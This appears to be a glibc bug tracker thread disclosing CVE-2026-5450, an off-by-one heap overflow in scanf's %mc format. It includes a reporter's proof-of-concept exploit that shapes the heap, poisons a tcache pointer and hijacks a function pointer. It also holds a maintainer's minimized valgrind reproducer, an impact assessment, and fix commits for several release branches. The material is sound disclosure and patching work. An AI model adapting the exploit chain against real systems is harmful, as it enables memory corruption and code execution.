In vfscanf-internal.c, when reading input via %WIDTHmc or %WIDTHmC, it reallocs one byte less than WIDTH, which leads to off-by-one overflow, may allowing attacker to trigger RCE. Down below I attached a poc to demonstrate the chain from a scanf format to pointer hijack. This bug originate from glibc 2.6, commit 874aa52349c. It seems that the coder thought one byte in stream has been consumed, so only `width - 1` bytes should be expanded, however, actually the byte is written after the string expands, so allocates one byte less. There are 3 code points in stdio-common, one is at line 859. Take an example from poc, for a pattern like `%1033mc`, `&buf` should be written a string pointer, the `*strptr`. `strsize` is the current size of allocated string buffer, `str` is the current cursor where next char from input should be written, `width` is the remaining count of bytes to read. To clarify the bug, we could assume WIDTH is 1025, so `newsize == 1024 + (1 - 1)`, no expansion; but at line 894, the byte is written into `str` (`str == *strptr + strsize`), leading into one byte overflow, controlled by user. This could be a vulnerability when coder use glibc and the WIDTH equals to 0x..8 (but must be greater than 0x400 to cause `*strptr` to expand), so the next chunk size could be written; or even worse, in the %mC path, user could take control of next 4 bytes. The poc down below indicate this case. I'll soon send a patch to fix this problem, and please reply if a regression test is needed. --- #include <assert.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void normal_func(void) { puts("We are safe :)"); } static void malicious_func(void) { puts("Got hijacked!!"); } #define width 0x409 int main(void) { __attribute__((aligned(16))) void (*func_ptr)(void) = normal_func; char *buf = NULL; char *input = malloc(width + 1); if (input == NULL) return 1; memset(input, 0x61, width); input[width] = '\0'; // layout heap... size_t *chunk1 = malloc(0x408); size_t *chunk2 = malloc(0x28); size_t *chunk3 = malloc(0x28); size_t *chunk4 = malloc(0x28); free(chunk1); free(chunk4); // before off-by-one: [chunk2 ][chunk3 ] int rc = sscanf(input, "%1033mc", &buf); assert(rc != -1); // release [chunk2 [chunk3 ]] free(chunk2); free(chunk3); // now hijack chunk3->fd via chunk2 chunk2 = malloc(0x58); chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12); // allocate chunk3 back, which is now at &func_ptr, write with another func size_t *chunk5 = malloc(0x28); chunk3 = malloc(0x28); *chunk3 = (size_t)malicious_func; func_ptr(); free(buf); free(input); return 0; }
This issue was raised for the glibc security team to review for impact. The code in question is here: glibc/stdio-common/vfscanf-internal (__vfscanf_internal): 849 if (!(flags & SUPPRESS)) 850 { 851 do 852 { 853 if ((flags & MALLOC) 854 && (char *) str == *strptr + strsize) 855 { 856 /* Enlarge the buffer. */ 857 size_t newsize 858 = strsize 859 + (strsize >= width ? width - 1 : strsize); This line does not explain the expansion strategy and includes a "width - 1" that is unjustified by any comments and is 1 byte smaller than needed. 860 861 str = (char *) realloc (*strptr, newsize); 862 if (str == NULL) 863 { 864 /* Can't allocate that much. Last-ditch 865 effort. */ 866 str = (char *) realloc (*strptr, strsize + 1); 867 if (str == NULL) 868 { 869 /* c can't have `a' flag, only `m'. */ 870 done = EOF; 871 goto errout; 872 } 873 else 874 { 875 *strptr = (char *) str; 876 str += strsize; 877 ++strsize; 878 } 879 } 880 else 881 { 882 *strptr = (char *) str; 883 str += strsize; 884 strsize = newsize; 885 } 886 } 887 *str++ = c; 888 } 889 while (--width > 0 && inchar () != EOF); Minimizing the reproducer: #include <assert.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <malloc.h> /* A 1033 byte allocation has 1032 useable bytes. This fits exactly the realloc request in __vfscanf_internal for the erroneous "width - 1" and so results in a 1-byte overflow writing into the next chunks size metadata. */ #define width 1033 int main(void) { char *buf = NULL; char *input = malloc(width + 1); assert(input != NULL); memset(input, 0x61, width); input[width] = '\0'; int rc = sscanf(input, "%1033mc", &buf); assert(rc != -1); printf ("%ld", malloc_usable_size (buf)); free(buf); return 0; } Shows the following under valgrind: ==2155065== Invalid write of size 1 ==2155065== at 0x48B7066: __vfscanf_internal (vfscanf-internal.c:882) ==2155065== by 0x48A8CD0: __isoc23_sscanf (isoc23_sscanf.c:31) ==2155065== by 0x400530: main (reproducer.c:20) ==2155065== Address 0x4a6a128 is 0 bytes after a block of size 1,032 alloc'd ==2155065== at 0x4848897: realloc (vg_replace_malloc.c:1804) ==2155065== by 0x48B7045: __vfscanf_internal (vfscanf-internal.c:859) ==2155065== by 0x48A8CD0: __isoc23_sscanf (isoc23_sscanf.c:31) ==2155065== by 0x400530: main (reproducer.c:20) The existing 1024-byte allocation is actually 1032-bytes of malloc usable size, and so when the expansion occurs from 1024 to 1033 the requested realloc size is only 1032 and it fits perfectly, but one more byte than allocated is written and corrupts the next chunks sizes metadata. The impact is somewhat limited by the fact that to execute the overwrite you need: * User controlled input data. * Specific choice of maximum width that yields a smaller than needed allocation The latter point has to take into account mallocs particular chunk size rounding process. A quick debian codesearch shows: https://codesearch.debian.net/search?q=scanf.*%25%5Cd%2Bmc&literal=0 * glibc testsuite (non-runtime test code) * gcc testsuite (non-runtime test code) * netsurf using %1024mc (non-runtime test code) which indicates that use of "%[width]mc" is NOT widespread and so impact should be considered low unless real world examples are found. Rocket Mat has posted a patch for this issue: https://patchwork.sourceware.org/project/glibc/patch/20260319174311.972443-1-marocketbd@gmail.com/ CVE identifier CVE-2026-5450 is reserved for this issue as we prepare to publish.
Note: %mc is not really usable unless bug 12701 is fixed as well, and fixing that bug has significant adverse backwards compatibility issues.
The master branch has been updated by H.J. Lu <hjl@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=839898777226a3ed88c0859f25ffe712519b4ead commit 839898777226a3ed88c0859f25ffe712519b4ead Author: Rocket Ma <marocketbd@gmail.com> Date: Fri Apr 17 23:48:41 2026 -0700 stdio-common: Fix buffer overflow in scanf %mc [BZ #34008] * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with format %mc or %mC, glibc allocates one byte less, leading to user-controlled one byte overflow. This commit fixes BZ #34008, or CVE-2026-5450. Reviewed-by: Carlos O'Donell <carlos@redhat.com> Signed-off-by: Rocket Ma <marocketbd@gmail.com> Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
The release/2.43/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=4070d808bea1c077eb7e7d52b52b91cae98205d5 commit 4070d808bea1c077eb7e7d52b52b91cae98205d5 Author: Rocket Ma <marocketbd@gmail.com> Date: Fri Apr 17 23:48:41 2026 -0700 stdio-common: Fix buffer overflow in scanf %mc [BZ #34008] * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with format %mc or %mC, glibc allocates one byte less, leading to user-controlled one byte overflow. This commit fixes BZ #34008, or CVE-2026-5450. Reviewed-by: Carlos O'Donell <carlos@redhat.com> Signed-off-by: Rocket Ma <marocketbd@gmail.com> Reviewed-by: H.J. Lu <hjl.tools@gmail.com> (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)
The release/2.42/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=4ebd33dd77eabe8d4c45232bed4b42a31d2f9edc commit 4ebd33dd77eabe8d4c45232bed4b42a31d2f9edc Author: Rocket Ma <marocketbd@gmail.com> Date: Fri Apr 17 23:48:41 2026 -0700 stdio-common: Fix buffer overflow in scanf %mc [BZ #34008] * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with format %mc or %mC, glibc allocates one byte less, leading to user-controlled one byte overflow. This commit fixes BZ #34008, or CVE-2026-5450. Reviewed-by: Carlos O'Donell <carlos@redhat.com> Signed-off-by: Rocket Ma <marocketbd@gmail.com> Reviewed-by: H.J. Lu <hjl.tools@gmail.com> (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)
Fixed with 839898777226a3ed88c0859f25ffe712519b4ead
The release/2.41/master branch has been updated by Aurelien Jarno <aurel32@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=1a74f82eedaf0987eda1f522121e6a48fac502e7 commit 1a74f82eedaf0987eda1f522121e6a48fac502e7 Author: Rocket Ma <marocketbd@gmail.com> Date: Fri Apr 17 23:48:41 2026 -0700 stdio-common: Fix buffer overflow in scanf %mc [BZ #34008] * stdio-common/vfscanf-internal.c: When enlarging allocated buffer with format %mc or %mC, glibc allocates one byte less, leading to user-controlled one byte overflow. This commit fixes BZ #34008, or CVE-2026-5450. Reviewed-by: Carlos O'Donell <carlos@redhat.com> Signed-off-by: Rocket Ma <marocketbd@gmail.com> Reviewed-by: H.J. Lu <hjl.tools@gmail.com> (cherry picked from commit 839898777226a3ed88c0859f25ffe712519b4ead)